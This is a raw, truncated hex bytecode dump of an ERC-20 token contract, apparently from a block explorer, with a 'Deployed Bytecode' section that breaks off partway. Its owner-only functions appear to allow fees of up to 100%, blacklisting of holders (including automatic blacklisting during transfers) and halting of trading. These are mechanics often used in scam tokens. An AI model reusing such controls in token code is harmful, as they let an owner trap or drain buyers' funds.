41565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806130ca5750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6130de576130d98787876133d5565b6130e0565b845b905080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312d919061488c565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516131cd9190614569565b60405180910390a3600193505050506131f8565b6131eb848361369b565b6131f6848484613958565b505b9392505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461324c9190614c41565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132da919061488c565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161337a9190614569565b60405180910390a3600190509392505050565b61339681613f67565b600047905060008111156133d1576133d0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826141e0565b5b5050565b60008060009050600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156134805750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156134a357600954600854846134969190614bff565b6134a09190614f58565b90505b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561351757600954600654846135069190614bff565b6135109190614f58565b9050613588565b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613587576009546007548461357a9190614bff565b6135849190614f58565b90505b5b60008111156136855780600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135dc919061488c565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161367c9190614569565b60405180910390a35b80836136919190614c41565b9150509392505050565b6136a3611ac1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156137285750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561377e5750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561395457601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156137da57600080fd5b6000601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561386f57601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561386e57600080fd5b5b6000601654111561388a5760165481111561388957600080fd5b5b601560009054906101000a900460ff16156138da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138d190614fd5565b60405180910390fd5b6000601754111561393457601754600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561393357600080fd5b5b601860009054906101000a900460ff1615613953576139528261422b565b5b5b5050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156139dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139d390615041565b60405180910390fd5b6139e4611ac1565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015613a695750601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613aa157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15613ddd57600d60009054906101000a900460ff1615613acd57613ac68484846131ff565b9050613f60565b6000613ad83061185a565b90506000600c548210159050808015613afe5750600d60009054906101000a900460ff16155b8015613b575750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015613b6f5750600d60019054906101000a900460ff165b15613b9957600d60029054906101000a900460ff1615613b8f57600c5491505b613b988261338d565b5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613be49190614c41565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613cca5750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613cde57613cd98787876133d5565b613ce0565b845b905080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d2d919061488c565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051613dd09190614569565b60405180910390a3613f5f565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613e289190614c41565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613eb6919061488c565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051613f569190614569565b60405180910390a35b5b9392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115613f9f57613f9e615061565b5b604051908082528060200260200182016040528015613fcd5781602001602082028036833780820191505090505b5090503081600081518110613fe557613fe4615090565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561408c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140b091906148d5565b816001815181106140c4576140c3615090565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061412b30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612b42565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161418f9594939291906151b8565b600060405180830381600087803b1580156141a957600080fd5b505af11580156141bd573d6000803e3d6000fd5b50505050506000600d60006101000a81548160ff02191690831515021790555050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015614226573d6000803e3d6000fd5b505050565b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006142b68261428b565b9050919050565b6142c6816142ab565b81146142d157600080fd5b50565b6000813590506142e3816142bd565b92915050565b6000602082840312156142ff576142fe614286565b5b600061430d848285016142d4565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015614350578082015181840152602081019050614335565b60008484015250505050565b6000601f19601f8301169050919050565b600061437882614316565b6143828185614321565b9350614392818560208601614332565b61439b8161435c565b840191505092915050565b600060208201905081810360008301526143c0818461436d565b905092915050565b6000819050919050565b6143db816143c8565b81146143e657600080fd5b50565b6000813590506143f8816143d2565b92915050565b6000806040838503121561441557614414614286565b5b6000614423858286016142d4565b9250506020614434858286016143e9565b9150509250929050565b60008115159050919050565b6144538161443e565b82525050565b600060208201905061446e600083018461444a565b92915050565b6000819050919050565b600061449961449461448f8461428b565b614474565b61428b565b9050919050565b60006144ab8261447e565b9050919050565b60006144bd826144a0565b9050919050565b6144cd816144b2565b82525050565b60006020820190506144e860008301846144c4565b92915050565b6144f78161443e565b811461450257600080fd5b50565b600081359050614514816144ee565b92915050565b6000806040838503121561453157614530614286565b5b600061453f858286016142d4565b925050602061455085828601614505565b9150509250929050565b614563816143c8565b82525050565b600060208201905061457e600083018461455a565b92915050565b60008060006060848603121561459d5761459c614286565b5b60006145ab868287016142d4565b93505060206145bc868287016142d4565b92505060406145cd868287016143e9565b9150509250925092565b6000602082840312156145ed576145ec614286565b5b60006145fb84828501614505565b91505092915050565b600060ff82169050919050565b61461a81614604565b82525050565b60006020820190506146356000830184614611565b92915050565b614644816142ab565b82525050565b600060208201905061465f600083018461463b565b92915050565b60008060006060848603121561467e5761467d614286565b5b600061468c868287016143e9565b935050602061469d868287016143e9565b92505060406146ae868287016143e9565b9150509250925092565b6000602082840312156146ce576146cd614286565b5b60006146dc848285016143e9565b91505092915050565b600080604083850312156146fc576146fb614286565b5b600061470a858286016142d4565b925050602061471b858286016142d4565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061475b602083614321565b915061476682614725565b602082019050919050565b6000602082019050818103600083015261478a8161474e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806147d857607f821691505b6020821081036147eb576147ea614791565b5b50919050565b7f416c726561647920616464656421000000000000000000000000000000000000600082015250565b6000614827600e83614321565b9150614832826147f1565b602082019050919050565b600060208201905081810360008301526148568161481a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614897826143c8565b91506148a2836143c8565b92508282019050808211156148ba576148b961485d565b5b92915050565b6000815190506148cf816142bd565b92915050565b6000602082840312156148eb576148ea614286565b5b60006148f9848285016148c0565b91505092915050565b6000604082019050614917600083018561463b565b614924602083018461463b565b9392505050565b7f496e636f72726563742074617800000000000000000000000000000000000000600082015250565b6000614961600d83614321565b915061496c8261492b565b602082019050919050565b6000602082019050818103600083015261499081614954565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006149f3602583614321565b91506149fe82614997565b604082019050919050565b60006020820190508181036000830152614a22816149e6565b9050919050565b7f4368616e67652076616c75652100000000000000000000000000000000000000600082015250565b6000614a5f600d83614321565b9150614a6a82614a29565b602082019050919050565b60006020820190508181036000830152614a8e81614a52565b9050919050565b7f54686973206164647265737320616c7265616479207365740000000000000000600082015250565b6000614acb601883614321565b9150614ad682614a95565b602082019050919050565b60006020820190508181036000830152614afa81614abe565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614b5d602683614321565b9150614b6882614b01565b604082019050919050565b60006020820190508181036000830152614b8c81614b50565b9050919050565b7f544152474554204552524f520000000000000000000000000000000000000000600082015250565b6000614bc9600c83614321565b9150614bd482614b93565b602082019050919050565b60006020820190508181036000830152614bf881614bbc565b9050919050565b6000614c0a826143c8565b9150614c15836143c8565b9250828202614c23816143c8565b91508282048414831517614c3a57614c3961485d565b5b5092915050565b6000614c4c826143c8565b9150614c57836143c8565b9250828203905081811115614c6f57614c6e61485d565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614cd1602483614321565b9150614cdc82614c75565b604082019050919050565b60006020820190508181036000830152614d0081614cc4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614d63602283614321565b9150614d6e82614d07565b604082019050919050565b60006020820190508181036000830152614d9281614d56565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000614dcf601d83614321565b9150614dda82614d99565b602082019050919050565b60006020820190508181036000830152614dfe81614dc2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614e61602583614321565b9150614e6c82614e05565b604082019050919050565b60006020820190508181036000830152614e9081614e54565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614ef3602383614321565b9150614efe82614e97565b604082019050919050565b60006020820190508181036000830152614f2281614ee6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614f63826143c8565b9150614f6e836143c8565b925082614f7e57614f7d614f29565b5b828204905092915050565b7f4572726f72000000000000000000000000000000000000000000000000000000600082015250565b6000614fbf600583614321565b9150614fca82614f89565b602082019050919050565b60006020820190508181036000830152614fee81614fb2565b9050919050565b7f56616c756520657863656564732062616c616e63650000000000000000000000600082015250565b600061502b601583614321565b915061503682614ff5565b602082019050919050565b6000602082019050818103600083015261505a8161501e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006150e46150df6150da846150bf565b614474565b6143c8565b9050919050565b6150f4816150c9565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61512f816142ab565b82525050565b60006151418383615126565b60208301905092915050565b6000602082019050919050565b6000615165826150fa565b61516f8185615105565b935061517a83615116565b8060005b838110156151ab5781516151928882615135565b975061519d8361514d565b92505060018101905061517e565b5085935050505092915050565b600060a0820190506151cd600083018861455a565b6151da60208301876150eb565b81810360408301526151ec818661515a565b90506151fb606083018561463b565b615208608083018461455a565b969550505050505056fea2646970667358221220035980fd90e8ad3051a3f6397595003d693148e09f71929c7b26e4c460f9cab264736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x6080604052600436106102b25760003560e01c806370a0823111610175578063c10ea0a5116100dc578063de8f151711610095578063f2fde38b1161006f578063f2fde38b14610acd578063f865d99b14610af6578063f9fa48c314610b1f578063fb8bd26f14610b4a576102b9565b8063de8f151714610a50578063e01af92c14610a79578063e2f4560514610aa2576102b9565b8063c10ea0a514610942578063c816841b1461096b578063cc1776d314610996578063ce1fd380146109c1578063d6e3b886146109ea578063dd62ed3e14610a13576102b9565b806395d89b411161012e57806395d89b4114610822578063a1c61f501461084d578063a457c2d714610876578063a9059cbb146108b3578063ae96ffe6146108f0578063afa4f3b214610919576102b9565b806370a0823114610724578063715018a61461076157806375f0a87414610778578063860aefcf146107a357806389fe8507146107ce5780638da5cb5b146107f7576102b9565b8063313ce567116102195780635881f3ef116101d25780635881f3ef1461061857806359fa6d72146106555780635b65b9ab1461067e57806363244555146106a75780636d2f2ed6146106d05780636ddd1713146106f9576102b9565b8063313ce567146104e057806331cd1acd1461050b57806339509351146105365780633ecad271146105735780634f7041a5146105b05780635342acb4146105db576102b9565b806318160ddd1161026b57806318160ddd146103ce578063228cb733146103f957806323af46d91461042457806323b872dd1461044f57806326f0d8ce1461048c57806327722f6a146104b5576102b9565b806303204989146102be57806306fdde03146102e7578063095ea7b3146103125780630f953cca1461034f5780631694505e1461037a57806317a6954b146103a5576102b9565b366102b957005b600080fd5b3480156102ca57600080fd5b506102e560048036038101906102e091906142e9565b610b73565b005b3480156102f357600080fd5b506102fc610c63565b60405161030991906143a6565b60405180910390f35b34801561031e57600080fd5b50610339600480360381019061033491906143fe565b610cf5565b6040516103469190614459565b60405180910390f35b34801561035b57600080fd5b50610364610d18565b6040516103719190614459565b60405180910390f35b34801561038657600080fd5b5061038f610d2b565b60405161039c91906144d3565b60405180910390f35b3480156103b157600080fd5b506103cc60048036038101906103c7919061451a565b610d51565b005b3480156103da57600080fd5b506103e3610ed3565b6040516103f09190614569565b60405180910390f35b34801561040557600080fd5b5061040e610edd565b60405161041b9190614459565b60405180910390f35b34801561043057600080fd5b50610439610ef0565b6040516104469190614459565b60405180910390f35b34801561045b57600080fd5b5061047660048036038101906104719190614584565b610f03565b6040516104839190614459565b60405180910390f35b34801561049857600080fd5b506104b360048036038101906104ae91906145d7565b610f33565b005b3480156104c157600080fd5b506104ca611004565b6040516104d79190614569565b60405180910390f35b3480156104ec57600080fd5b506104f561100a565b6040516105029190614620565b60405180910390f35b34801561051757600080fd5b50610520611013565b60405161052d9190614569565b60405180910390f35b34801561054257600080fd5b5061055d600480360381019061055891906143fe565b611019565b60405161056a9190614459565b60405180910390f35b34801561057f57600080fd5b5061059a600480360381019061059591906142e9565b611050565b6040516105a79190614459565b60405180910390f35b3480156105bc57600080fd5b506105c5611070565b6040516105d29190614569565b60405180910390f35b3480156105e757600080fd5b5061060260048036038101906105fd91906142e9565b611076565b60405161060f9190614459565b60405180910390f35b34801561062457600080fd5b5061063f600480360381019061063a91906142e9565b611096565b60405161064c919061464a565b60405180910390f35b34801561066157600080fd5b5061067c600480360381019061067791906145d7565b6114a5565b005b34801561068a57600080fd5b506106a560048036038101906106a09190614665565b611557565b005b3480156106b357600080fd5b506106ce60048036038101906106c991906142e9565b611667565b005b3480156106dc57600080fd5b506106f760048036038101906106f291906142e9565b611757565b005b34801561070557600080fd5b5061070e611847565b60405161071b9190614459565b60405180910390f35b34801561073057600080fd5b5061074b600480360381019061074691906142e9565b61185a565b6040516107589190614569565b60405180910390f35b34801561076d57600080fd5b506107766118a3565b005b34801561078457600080fd5b5061078d6119f6565b60405161079a919061464a565b60405180910390f35b3480156107af57600080fd5b506107b8611a1c565b6040516107c59190614569565b60405180910390f35b3480156107da57600080fd5b506107f560048036038101906107f091906146b8565b611a22565b005b34801561080357600080fd5b5061080c611ac1565b604051610819919061464a565b60405180910390f35b34801561082e57600080fd5b50610837611aea565b60405161084491906143a6565b60405180910390f35b34801561085957600080fd5b50610874600480360381019061086f91906145d7565b611b7c565b005b34801561088257600080fd5b5061089d600480360381019061089891906143fe565b611c2e565b6040516108aa9190614459565b60405180910390f35b3480156108bf57600080fd5b506108da60048036038101906108d591906143fe565b611ca5565b6040516108e79190614459565b60405180910390f35b3480156108fc57600080fd5b50610917600480360381019061091291906146b8565b611cc9565b005b34801561092557600080fd5b50610940600480360381019061093b91906146b8565b611d68565b005b34801561094e57600080fd5b50610969600480360381019061096491906142e9565b611e58565b005b34801561097757600080fd5b50610980611ffa565b60405161098d919061464a565b60405180910390f35b3480156109a257600080fd5b506109ab612020565b6040516109b89190614569565b60405180910390f35b3480156109cd57600080fd5b506109e860048036038101906109e391906142e9565b612026565b005b3480156109f657600080fd5b50610a116004803603810190610a0c91906143fe565b612116565b005b348015610a1f57600080fd5b50610a3a6004803603810190610a3591906146e5565b6121f3565b604051610a479190614569565b60405180910390f35b348015610a5c57600080fd5b50610a776004803603810190610a7291906143fe565b61227a565b005b348015610a8557600080fd5b50610aa06004803603810190610a9b91906145d7565b6123a1565b005b348015610aae57600080fd5b50610ab7612472565b604051610ac49190614569565b60405180910390f35b348015610ad957600080fd5b50610af46004803603810190610aef91906142e9565b612478565b005b348015610b0257600080fd5b50610b1d6004803603810190610b1891906145d7565b612639565b005b348015610b2b57600080fd5b50610b346126eb565b604051610b419190614569565b60405180910390f35b348015610b5657600080fd5b50610b716004803603810190610b6c91906143fe565b6126f1565b005b610b7b612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff90614771565b60405180910390fd5b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b606060048054610c72906147c0565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9e906147c0565b8015610ceb5780601f10610cc057610100808354040283529160200191610ceb565b820191906000526020600020905b815481529060010190602001808311610cce57829003601f168201915b5050505050905090565b600080610d00612b3a565b9050610d0d818585612b42565b600191505092915050565b601860009054906101000a900460ff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d59612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddd90614771565b60405180910390fd5b801515600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6f9061483d565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600354905090565b601560009054906101000a900460ff1681565b600d60029054906101000a900460ff1681565b600080610f0e612b3a565b9050610f1b858285612d0b565b610f26858585612d97565b5060019150509392505050565b610f3b612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbf90614771565b60405180910390fd5b801515600d60029054906101000a900460ff16151503610fe757600080fd5b80600d60026101000a81548160ff02191690831515021790555050565b60165481565b60006012905090565b60085481565b600080611024612b3a565b905061104581858561103685896121f3565b611040919061488c565b612b42565b600191505092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b60065481565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006110a0612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461112d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112490614771565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561117d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a191906148d5565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611208573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061122c91906148d5565b6040518363ffffffff1660e01b8152600401611249929190614902565b602060405180830381865afa158015611266573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128a91906148d5565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361141d578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561130b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132f91906148d5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ba91906148d5565b6040518363ffffffff1660e01b81526004016113d7929190614902565b6020604051808303816000875af11580156113f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061141a91906148d5565b91505b81601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050919050565b6114ad612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190614771565b60405180910390fd5b80601860006101000a81548160ff02191690831515021790555050565b61155f612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e390614771565b60405180910390fd5b612710831115801561160057506127108211155b801561160e57506127108111155b61164d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164490614977565b60405180910390fd5b826006819055508160078190555080600881905550505050565b61166f612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f390614771565b60405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61175f612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e390614771565b60405180910390fd5b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6118ab612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192f90614771565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b611a2a612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae90614771565b60405180910390fd5b8060168190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054611af9906147c0565b80601f0160208091040260200160405190810160405280929190818152602001828054611b25906147c0565b8015611b725780601f10611b4757610100808354040283529160200191611b72565b820191906000526020600020905b815481529060010190602001808311611b5557829003601f168201915b5050505050905090565b611b84612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0890614771565b60405180910390fd5b80601560006101000a81548160ff02191690831515021790555050565b600080611c39612b3a565b90506000611c4782866121f3565b905083811015611c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8390614a09565b60405180910390fd5b611c998286868403612b42565b60019250505092915050565b600080611cb0612b3a565b9050611cbd818585612d97565b50600191505092915050565b611cd1612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5590614771565b60405180910390fd5b8060178190555050565b611d70612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df490614771565b60405180910390fd5b60008111611e0a57600080fd5b80600c5403611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4590614a75565b60405180910390fd5b80600c8190555050565b611e60612b3a565b73ffffffffffffffffffffffffffffffffffffffff166000805